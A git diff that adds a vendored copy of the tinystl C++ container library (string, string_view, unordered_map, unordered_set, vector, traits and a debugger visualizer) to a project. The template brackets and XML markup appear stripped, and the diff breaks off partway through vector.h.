rhs) { + return !(lhs > rhs); + } + + inline bool operator>=(const string& lhs, const string& rhs) { + return !(lhs < rhs); + } + + inline bool operator!=(const string& lhs, const string& rhs) { + return !(lhs == rhs); + } + + inline bool operator!=(const string& lhs, const char* rhs) { + return !(lhs == rhs); + } + + inline bool operator!=(const char* lhs, const string& rhs) { + return !(rhs == lhs); + } + + inline string operator+(const string& lhs, const string& rhs) { + string ret(lhs); + ret.append(rhs.begin(), rhs.end()); + return ret; + } + + inline string& operator+=(string& lhs, const string& rhs) { + lhs.append(rhs.begin(), rhs.end()); + return lhs; + } + + static inline unsigned int hash(const string& value) { + return hash_string(value.c_str(), value.size()); + } + + inline void string::copy_chars(char* dest, const char* src, unsigned count) + { +#ifdef _MSC_VER + if (count) + memcpy(dest, src, count); +#else + char* end = dest + count; + while (dest != end) + { + *dest = *src; + ++dest; + ++src; + } +#endif + } + + inline int string::compare(const char* lhs, const char* rhs, bool caseSensitive) + { + if (!lhs || !rhs) + return lhs ? 1 : (rhs ? -1 : 0); + + if (caseSensitive) + return strcmp(lhs, rhs); + else + { + for (;;) + { + char l = (char)tolower(*lhs); + char r = (char)tolower(*rhs); + if (!l || !r) + return l ? 1 : (r ? -1 : 0); + if (l < r) + return -1; + if (l > r) + return 1; + + ++lhs; + ++rhs; + } + } + } + + inline string string::format(const char* fmt, ...) + { + int size = int(strlen(fmt) * 2 + 50); + string str; + va_list ap; + while (1) { // Maximum two passes on a POSIX system... + str.resize(size); + va_start(ap, fmt); + int n = vsnprintf((char *)str.c_str(), size, fmt, ap); + va_end(ap); + if (n > -1 && n < size) { // Everything worked + str.resize(n); + return str; + } + if (n > -1) // Needed size returned + size = n + 1; // For null char + else + size *= 2; // Guess at a larger size (OS specific) + } + return str; + } +} + +#if defined(_MSC_VER) +#pragma warning(pop) +#endif + +#endif diff --git a/dep/tinystl/include/stl/string_view.h b/dep/tinystl/include/stl/string_view.h new file mode 100644 index 0000000..cab4dc9 --- /dev/null +++ b/dep/tinystl/include/stl/string_view.h @@ -0,0 +1,147 @@ +/*- + * Copyright 2012-1017 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_STRING_VIEW_H +#define TINYSTL_STRING_VIEW_H + +#include "stddef.h" + +namespace tinystl { + + class string_view + { + public: + typedef char value_type; + typedef char* pointer; + typedef const char* const_pointer; + typedef char& reference; + typedef const char& const_reference; + typedef const_pointer iterator; + typedef const_pointer const_iterator; + typedef size_t size_type; + typedef ptrdiff_t difference_type; + + static constexpr size_type npos = size_type(-1); + + constexpr string_view(); + constexpr string_view(const char* s, size_type count); + constexpr string_view(const char* s); + constexpr string_view(const string_view&) = default; + string_view& operator=(const string_view&) = default; + + constexpr const char* data() const; + constexpr char operator[](size_type pos) const; + constexpr size_type size() const; + constexpr bool empty() const; + constexpr iterator begin() const; + constexpr const_iterator cbegin() const; + constexpr iterator end() const; + constexpr const_iterator cend() const; + constexpr string_view substr(size_type pos = 0, size_type count = npos) const; + constexpr void swap(string_view& v); + + private: + string_view(decltype(nullptr)) = delete; + + static constexpr size_type strlen(const char*); + + const char* m_str; + size_type m_size; + }; + + constexpr string_view::string_view() + : m_str(nullptr) + , m_size(0) + { + } + + constexpr string_view::string_view(const char* s, size_type count) + : m_str(s) + , m_size(count) + { + } + + constexpr string_view::string_view(const char* s) + : m_str(s) + , m_size(strlen(s)) + { + } + + constexpr const char* string_view::data() const { + return m_str; + } + + constexpr char string_view::operator[](size_type pos) const { + return m_str[pos]; + } + + constexpr string_view::size_type string_view::size() const { + return m_size; + } + + constexpr bool string_view::empty() const { + return 0 == m_size; + } + + constexpr string_view::iterator string_view::begin() const { + return m_str; + } + + constexpr string_view::const_iterator string_view::cbegin() const { + return m_str; + } + + constexpr string_view::iterator string_view::end() const { + return m_str + m_size; + } + + constexpr string_view::const_iterator string_view::cend() const { + return m_str + m_size; + } + + constexpr string_view string_view::substr(size_type pos, size_type count) const { + return string_view(m_str + pos, npos == count ? m_size - pos : count); + } + + constexpr void string_view::swap(string_view& v) { + const char* strtmp = m_str; + size_type sizetmp = m_size; + m_str = v.m_str; + m_size = v.m_size; + v.m_str = strtmp; + v.m_size = sizetmp; + } + + constexpr string_view::size_type string_view::strlen(const char* s) { + for (size_t len = 0; ; ++len) { + if (0 == s[len]) { + return len; + } + } + } +} + +#endif // TINYSTL_STRING_VIEW_H diff --git a/dep/tinystl/include/stl/tinystl.natvis b/dep/tinystl/include/stl/tinystl.natvis new file mode 100644 index 0000000..fc5cf87 --- /dev/null +++ b/dep/tinystl/include/stl/tinystl.natvis @@ -0,0 +1,72 @@ + + + + {{ size={last - first} }} + + last - first + capacity - first + + last - first + first + + + + + + {{ size={m_buffer.last - m_buffer.first} }} + + m_buffer + + + + + {{ size={m_size} }} + + m_size + m_buckets.last - m_buckets.first + + *m_buckets.first + next + first + + + + + + {{ size={m_size} }} + + m_size + m_buckets.last - m_buckets.first + + *m_buckets.first + next + second + + + + + + {m_first,[m_last - m_first]na} + m_first,[m_last - m_first]na + + m_last - m_first + m_capacity - m_first + + m_last - m_first + m_first + + + + + + {m_str,[m_size]na} + m_str,[m_size]na + + m_size + + m_size + m_str + + + + diff --git a/dep/tinystl/include/stl/traits.h b/dep/tinystl/include/stl/traits.h new file mode 100644 index 0000000..fdf5328 --- /dev/null +++ b/dep/tinystl/include/stl/traits.h @@ -0,0 +1,85 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_TRAITS_H +#define TINYSTL_TRAITS_H + +#include "new.h" + +#if defined(__GNUC__) +# define TINYSTL_TRY_POD_OPTIMIZATION(t) __is_pod(t) +#elif defined(_MSC_VER) +# define TINYSTL_TRY_POD_OPTIMIZATION(t) (!__is_class(t) || __is_pod(t)) +#else +# define TINYSTL_TRY_POD_OPTIMIZATION(t) false +#endif + +namespace tinystl { + template struct pod_traits {}; + + template struct swap_holder; + + template + static inline void move_impl(T& a, T& b, ...) { + a = b; + } + + template + static inline void move_impl(T& a, T& b, T*, swap_holder* = 0) { + a.swap(b); + } + + template + static inline void move(T& a, T&b) { + move_impl(a, b, (T*)0); + } + + template + static inline void move_construct_impl(T* a, T& b, ...) { + new(placeholder(), a) T(b); + } + + template + static inline void move_construct_impl(T* a, T& b, void*, swap_holder* = 0) { + // If your type T does not have a default constructor, simply insert: + // struct tinystl_nomove_construct; + // in the class definition + new(placeholder(), a) T; + a->swap(b); + } + + template + static inline void move_construct_impl(T* a, T& b, T*, typename T::tinystl_nomove_construct* = 0) { + new(placeholder(), a) T(b); + } + + template + static inline void move_construct(T* a, T& b) { + move_construct_impl(a, b, (T*)0); + } +} + +#endif diff --git a/dep/tinystl/include/stl/unordered_map.h b/dep/tinystl/include/stl/unordered_map.h new file mode 100644 index 0000000..6016d4c --- /dev/null +++ b/dep/tinystl/include/stl/unordered_map.h @@ -0,0 +1,260 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_UNORDERED_MAP_H +#define TINYSTL_UNORDERED_MAP_H + +#include "allocator.h" +#include "buffer.h" +#include "hash.h" +#include "hash_base.h" + +namespace tinystl { + template + class unordered_map { + public: + unordered_map(); + unordered_map(const unordered_map& other); + ~unordered_map(); + + unordered_map& operator=(const unordered_map& other); + + typedef pair value_type; + + typedef unordered_hash_iterator > const_iterator; + typedef unordered_hash_iterator > iterator; + + iterator begin(); + iterator end(); + + const_iterator begin() const; + const_iterator end() const; + + void clear(); + bool empty() const; + size_t size() const; + uint32_t getCount() const { return (uint32_t)size(); } + + const_iterator find(const Key& key) const; + iterator find(const Key& key); + pair insert(const pair& p); + void erase(const_iterator where); + + Value& operator[](const Key& key); + + void swap(unordered_map& other); + + private: + + typedef unordered_hash_node* pointer; + + size_t m_size; + tinystl::buffer m_buckets; + }; + + template + unordered_map::unordered_map() + : m_size(0) + { + buffer_init(&m_buckets); + buffer_resize(&m_buckets, 9, 0); + } + + template + unordered_map::unordered_map(const unordered_map& other) + : m_size(other.m_size) + { + const size_t nbuckets = (size_t)(other.m_buckets.last - other.m_buckets.first); + buffer_init(&m_buckets); + buffer_resize(&m_buckets, nbuckets, 0); + + for (pointer it = *other.m_buckets.first; it; it = it->next) { + unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(it->first, it->second); + newnode->next = newnode->prev = 0; + + unordered_hash_node_insert(newnode, hash(it->first), m_buckets.first, nbuckets - 1); + } + } + + template + unordered_map::~unordered_map() { + clear(); + buffer_destroy(&m_buckets); + } + + template + unordered_map& unordered_map::operator=(const unordered_map& other) { + unordered_map(other).swap(*this); + return *this; + } + + template + inline typename unordered_map::iterator unordered_map::begin() { + iterator it; + if (m_buckets.first != nullptr) + it.node = *m_buckets.first; + else + it.node = 0; + return it; + } + + template + inline typename unordered_map::iterator unordered_map::end() { + iterator it; + it.node = 0; + return it; + } + + template + inline typename unordered_map::const_iterator unordered_map::begin() const { + const_iterator cit; + if (m_buckets.first != nullptr) + cit.node = *m_buckets.first; + else + cit.node = 0; + return cit; + } + + template + inline typename unordered_map::const_iterator unordered_map::end() const { + const_iterator cit; + cit.node = 0; + return cit; + } + + template + inline bool unordered_map::empty() const { + return m_size == 0; + } + + template + inline size_t unordered_map::size() const { + return m_size; + } + + template + inline void unordered_map::clear() { + if (m_buckets.first != nullptr) + { + pointer it = *m_buckets.first; + while (it) { + const pointer next = it->next; + it->~unordered_hash_node(); + Alloc::static_deallocate(it, sizeof(unordered_hash_node)); + + it = next; + } + + m_buckets.last = m_buckets.first; + } + buffer_resize(&m_buckets, 9, 0); + m_size = 0; + } + + template + inline typename unordered_map::iterator unordered_map::find(const Key& key) { + iterator result; + if (m_buckets.first != nullptr) + result.node = unordered_hash_find(key, m_buckets.first, (size_t)(m_buckets.last - m_buckets.first)); + else + result.node = nullptr; + return result; + } + + template + inline typename unordered_map::const_iterator unordered_map::find(const Key& key) const { + iterator result; + result.node = unordered_hash_find(key, m_buckets.first, (size_t)(m_buckets.last - m_buckets.first)); + return result; + } + + template + inline pair::iterator, bool> unordered_map::insert(const pair& p) { + pair result; + result.second = false; + + result.first = find(p.first); + if (result.first.node != 0) + return result; + + unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(p.first, p.second); + newnode->next = newnode->prev = 0; + + if (m_buckets.first == nullptr){ + // The container is not properly initialized (all bytes to 0): construct it. + *this = unordered_map(); + } + + const size_t nbuckets = (size_t)(m_buckets.last - m_buckets.first); + unordered_hash_node_insert(newnode, hash(p.first), m_buckets.first, nbuckets - 1); + + ++m_size; + if (m_size + 1 > 4 * nbuckets) { + pointer root = *m_buckets.first; + + const size_t newnbuckets = ((size_t)(m_buckets.last - m_buckets.first) - 1) * 8; + m_buckets.last = m_buckets.first; + buffer_resize(&m_buckets, newnbuckets + 1, 0); + unordered_hash_node** buckets = m_buckets.first; + + while (root) { + const pointer next = root->next; + root->next = root->prev = 0; + unordered_hash_node_insert(root, hash(root->first), buckets, newnbuckets); + root = next; + } + } + + result.first.node = newnode; + result.second = true; + return result; + } + + template + void unordered_map::erase(const_iterator where) { + if (m_buckets.first == nullptr) + return; + + unordered_hash_node_erase(where.node, hash(where->first), m_buckets.first, (size_t)(m_buckets.last - m_buckets.first) - 1); + + where->~unordered_hash_node(); + Alloc::static_deallocate((void*)where.node, sizeof(unordered_hash_node)); + --m_size; + } + + template + Value& unordered_map::operator[](const Key& key) { + return insert(pair(key, Value())).first->second; + } + + template + void unordered_map::swap(unordered_map& other) { + size_t tsize = other.m_size; + other.m_size = m_size, m_size = tsize; + buffer_swap(&m_buckets, &other.m_buckets); + } +} +#endif diff --git a/dep/tinystl/include/stl/unordered_set.h b/dep/tinystl/include/stl/unordered_set.h new file mode 100644 index 0000000..4f087ba --- /dev/null +++ b/dep/tinystl/include/stl/unordered_set.h @@ -0,0 +1,215 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_UNORDERED_SET_H +#define TINYSTL_UNORDERED_SET_H + +#include "allocator.h" +#include "buffer.h" +#include "hash.h" +#include "hash_base.h" + +namespace tinystl { + template + class unordered_set { + public: + unordered_set(); + unordered_set(const unordered_set& other); + ~unordered_set(); + + unordered_set& operator=(const unordered_set& other); + + typedef unordered_hash_iterator > const_iterator; + typedef const_iterator iterator; + + iterator begin() const; + iterator end() const; + + void clear(); + bool empty() const; + size_t size() const; + + iterator find(const Key& key) const; + pair insert(const Key& key); + void erase(iterator where); + size_t erase(const Key& key); + + void swap(unordered_set& other); + + private: + + typedef unordered_hash_node* pointer; + + size_t m_size; + tinystl::buffer m_buckets; + }; + + template + unordered_set::unordered_set() + : m_size(0) + { + buffer_init(&m_buckets); + buffer_resize(&m_buckets, 9, 0); + } + + template + unordered_set::unordered_set(const unordered_set& other) + : m_size(other.m_size) + { + const size_t nbuckets = (size_t)(other.m_buckets.last - other.m_buckets.first); + buffer_init(&m_buckets); + buffer_resize(&m_buckets, nbuckets, 0); + + for (pointer it = *other.m_buckets.first; it; it = it->next) { + unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(*it); + newnode->next = newnode->prev = 0; + unordered_hash_node_insert(newnode, hash(it->first), m_buckets.first, nbuckets - 1); + } + } + + template + unordered_set::~unordered_set() { + clear(); + buffer_destroy(&m_buckets); + } + + template + unordered_set& unordered_set::operator=(const unordered_set& other) { + unordered_set(other).swap(*this); + return *this; + } + + template + inline typename unordered_set::iterator unordered_set::begin() const { + iterator cit; + cit.node = *m_buckets.first; + return cit; + } + + template + inline typename unordered_set::iterator unordered_set::end() const { + iterator cit; + cit.node = 0; + return cit; + } + + template + inline bool unordered_set::empty() const { + return m_size == 0; + } + + template + inline size_t unordered_set::size() const { + return m_size; + } + + template + inline void unordered_set::clear() { + pointer it = *m_buckets.first; + while (it) { + const pointer next = it->next; + it->~unordered_hash_node(); + Alloc::static_deallocate(it, sizeof(unordered_hash_node)); + + it = next; + } + + m_buckets.last = m_buckets.first; + buffer_resize(&m_buckets, 9, 0); + m_size = 0; + } + + template + inline typename unordered_set::iterator unordered_set::find(const Key& key) const { + iterator result; + result.node = unordered_hash_find(key, m_buckets.first, (size_t)(m_buckets.last - m_buckets.first)); + return result; + } + + template + inline pair::iterator, bool> unordered_set::insert(const Key& key) { + pair result; + result.second = false; + + result.first = find(key); + if (result.first.node != 0) + return result; + + unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(key); + newnode->next = newnode->prev = 0; + + const size_t nbuckets = (size_t)(m_buckets.last - m_buckets.first); + unordered_hash_node_insert(newnode, hash(key), m_buckets.first, nbuckets - 1); + + ++m_size; + if (m_size + 1 > 4 * nbuckets) { + pointer root = *m_buckets.first; + + const size_t newnbuckets = ((size_t)(m_buckets.last - m_buckets.first) - 1) * 8; + m_buckets.last = m_buckets.first; + buffer_resize(&m_buckets, newnbuckets + 1, 0); + unordered_hash_node** buckets = m_buckets.first; + + while (root) { + const pointer next = root->next; + root->next = root->prev = 0; + unordered_hash_node_insert(root, hash(root->first), buckets, newnbuckets); + root = next; + } + } + + result.first.node = newnode; + result.second = true; + return result; + } + + template + inline void unordered_set::erase(iterator where) { + unordered_hash_node_erase(where.node, hash(where.node->first), m_buckets.first, (size_t)(m_buckets.last - m_buckets.first) - 1); + + where.node->~unordered_hash_node(); + Alloc::static_deallocate((void*)where.node, sizeof(unordered_hash_node)); + --m_size; + } + + template + inline size_t unordered_set::erase(const Key& key) { + const iterator it = find(key); + if (it.node == 0) + return 0; + + erase(it); + return 1; + } + + template + void unordered_set::swap(unordered_set& other) { + size_t tsize = other.m_size; + other.m_size = m_size, m_size = tsize; + buffer_swap(&m_buckets, &other.m_buckets); + } +} +#endif diff --git a/dep/tinystl/include/stl/utils.h b/dep/tinystl/include/stl/utils.h new file mode 100644 index 0000000..6b11b94 --- /dev/null +++ b/dep/tinystl/include/stl/utils.h @@ -0,0 +1,47 @@ +#ifndef __TINYSTL_UTILS__ +#define __TINYSTL_UTILS__ + +#include + +namespace tinystl +{ + /*** Compare ***/ + template + bool less(const T &a, const T &b) { return a < b; }; + + template + bool greater(const T &a, const T &b) { return a > b; } + + template + bool equal(const T &a, const T &b) { return a == b; } + + // decltype(Less) = bool (*cmp)(const T &, const T &) + template + T min(const T &a, const T &b, decltype(less) cmp = less) { return cmp(a, b) ? a : b; } + + template + T max(const T &a, const T &b, decltype(less) cmp = less) { return cmp(a, b) ? b : a; } + + /*** Iterator Tag ***/ + class ForwardIterator {}; + class BackwardIterator {}; + + template + Iterator find(Iterator begin, Iterator end, const T &val, bool(*pred)(const T &a, const T &b) = equal) { + for (; begin != end; ++begin) + if (pred(*begin, val)) + break; + return begin; + } + + template + unsigned int count(Iterator begin, Iterator end, const T &val, bool(*pred)(const T &a, const T &b) = equal) { + unsigned int count = 0; + for (; begin != end; ++begin) + if (pred(*begin, val)) + ++count; + return count; + } +}; + +#endif diff --git a/dep/tinystl/include/stl/vector.h b/dep/tinystl/include/stl/vector.h new file mode 100644 index 0000000..7b6f5c6 --- /dev/null +++ b/dep/tinystl/include/stl/vector.h @@ -0,0 +1,384 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_VECTOR_H +#define TINYSTL_VECTOR_H + +#include "allocator.h" +#include "buffer.h" +#include "new.h" +#include "stddef.h" + +namespace tinystl { + template + class vector { + public: + vector(); + vector(const vector& other); + vector(size_t size); + vector(size_t size, const T& value); + vector(const T* first, const T* last); + ~vector(); + + vector& operator=(const vector& other); + + void assign(const T* first, const T* last); + + const T* data() const; + T* data(); + size_t size() const; + size_t capacity() const; + bool empty() const; + + T& operator[](size_t idx); + const T& operator[](size_t idx) const; + + const T& front() const; + T& front(); + const T& back() const; + T& back(); + + void resize(size_t size); + void resize(size_t size, const T& value); + void clear(); + void reserve(size_t capacity); + + void push_back(const T& t); + void pop_back(); + + void emplace_back(); + template + void emplace_back(const Param& param); + + void shrink_to_fit(); + + void swap(vector& other); + + typedef T value_type; + + typedef T* iterator; + iterator begin(); + iterator end(); + + typedef const T* const_iterator; + const_iterator begin() const; + const_iterator end() const; + + void insert(iterator where); + void insert(iterator where, const T& value); + void insert(iterator where, const T* first, const T* last); + + template + void emplace(iterator where, const Param& param); + + iterator erase(iterator where); + iterator erase(iterator first, iterator last); + + iterator erase_unordered(iterator where); + iterator erase_unordered(iterator first, iterator last); + + inline iterator find(const T& other) const; + + private: + int partition(int(*compare)(const T &elem0, const T &elem1), int p, int r); + void quickSort(int(*compare)(const T &elem0, const T &elem1), int p, int r); + + public: + void sort(int (*compare)(const T &elem0, const T &elem1)); + void sort(unsigned begin, unsigned end, int (*compare)(const T &elem0, const T &elem1)); + + private: + buffer m_buffer; + }; + + template + inline vector::vector() { + buffer_init(&m_buffer); + } + + template + inline vector::vector(const vector& other) { + buffer_init(&m_buffer); + buffer_reserve(&m_buffer, other.size()); + buffer_insert(&m_buffer, m_buffer.last, other.m_buffer.first, other.m_buffer.last); + } + + template + inline vector::vector(size_t size) { + buffer_init(&m_buffer); + buffer_resize(&m_buffer, size); + } + + template + inline vector::vector(size_t size, const T& value) { + buffer_init(&m_buffer); + buffer_resize(&m_buffer, size, value); + } + + template + inline vector::vector(const T* first, const T* last) { + buffer_init(&m_buffer); + buffer_insert(&m_buffer, m_buffer.last, first, last); + } + + template + inline vector::~vector() { + buffer_destroy(&m_buffer); + } + + template + inline vector& vector::operator=(const vector& other) { + vector(other).swap(*this); + return *this; + } + + template + inline void vector::assign(const T* first, const T* last) { + buffer_clear(&m_buffer); + buffer_insert(&m_buffer, m_buffer.last, first, last); + } + + template + inline const T* vector::data() const { + return m_buffer.first; + } + + template + inline T* vector::data() { + return m_buffer.first; + } + + template + inline size_t vector::size() const { + return (size_t)(m_buffer.last - m_buffer.first); + } + + template + inline size_t vector::capacity() const { + return (size_t)(m_buffer.capacity - m_buffer.first); + } + + template + inline bool vector::empty() const { + return m_buffer.last == m_buffer.first; + } + + template + inline T& vector::operator[](size_t idx) { + return m_buffer.first[idx]; + } + + template + inline const T& vector::operator[](size_t idx) const { + return m_buffer.first[idx]; + } + + template + inline const T& vector::front() const { + return m_buffer.first[0]; + } + + template + inline T& vector::front() { + return m_buffer.first[0]; + } + + template + inline const T& vector::back() const { + return m_buffer.last[-1]; + } + + template + inline T& vector::back() { + return m_buffer.last[-1]; + } + + template + inline void vector::resize(size_t size) { + buffer_resize(&m_buffer, size); + } + + template + inline void vector::resize(size_t size, const T& value) { + buffer_resize(&m_buffer, size, value); + } + + template + inline void vector::clear() { + buffer_clear(&m_buffer); + } + + template + inline void vector::reserve(size_t capacity) { + buffer_reserve(&m_buffer, capacity); + } + + template + inline void vector::push_back(const T& t) { + buffer_append(&m_buffer, &t); + } + + template + inline void vector::emplace_back() { + buffer_append(&m_buffer); + } + + template + template + inline void vector::emplace_back(const Param& param) { + buffer_append(&m_buffer, ¶m); + } + + template + inline void vector::pop_back() { + buffer_erase(&m_buffer, m_buffer.last - 1, m_buffer.last); + } + + template + inline void vector::shrink_to_fit() { + buffer_shrink_to_fit(&m_buffer); + } + + template + inline void vector::swap(vector& other) { + buffer_swap(&m_buffer, &other.m_buffer); + } + + template + inline typename vector::iterator vector::begin() { + return m_buffer.first; + } + + template + inline typename vector::iterator vector::end() { + return m_buffer.last; + } + + template + inline typename vector::const_iterator vector::begin() const { + return m_buffer.first; + } + + template + inline typename vector::const_iterator vector::end() const { + return m_buffer.last; + } + + template + inline void vector::insert(typename vector::iterator where) { + buffer_insert(&m_buffer, where, 1); + } + + template + inline void vector::insert(iterator where, const T& value) { + buffer_insert(&m_buffer, where, &value, &value + 1); + } + + template + inline void vector::insert(iterator where, const T* first, const T* last) { + buffer_insert(&m_buffer, where, first, last); + } + + template + inline typename vector::iterator vector::erase(iterator where) { + return buffer_erase(&m_buffer, where, where + 1); + } + + template + inline typename vector::iterator vector::erase(iterator first, iterator last) { + return buffer_erase(&m_buffer, first, last); + } + + template + inline typename vector::iterator vector::erase_unordered(iterator where) { + return buffer_erase_unordered(&m_buffer, where, where + 1); + } + + template + inline typename vector::iterator vector::erase_unordered(iterator first, iterator last) { + return buffer_erase_unordered(&m_buffer, first, last); + } + + template + template + void vector::emplace(typename vector::iterator where, const Param& param) { + buffer_insert(&m_buffer, where, ¶m, ¶m + 1); + } + + template + inline typename vector::iterator vector::find(const T& other) const + { + for (unsigned i = 0; i < size(); ++i) + if (m_buffer.first[i] == other) + return &m_buffer.first[i]; + + return m_buffer.last; + } + + template + inline int vector::partition(int(*compare)(const T &elem0, const T &elem1), int p, int r) + { + T tmp, pivot = m_buffer.first[p]; + int left = p; + + for (int i = p + 1; i <= r; i++) { + if (compare(m_buffer.first[i], pivot) < 0) { + left++; + tmp = m_buffer.first[i]; + m_buffer.first[i] = m_buffer.first[left]; + m_buffer.first[left] = tmp; + } + } + tmp = m_buffer.first[p]; + m_buffer.first[p] = m_buffer.first[left]; + m_buffer.first[left] = tmp; + return left; + } + + template + inline void vector::quickSort(int(*compare)(const T 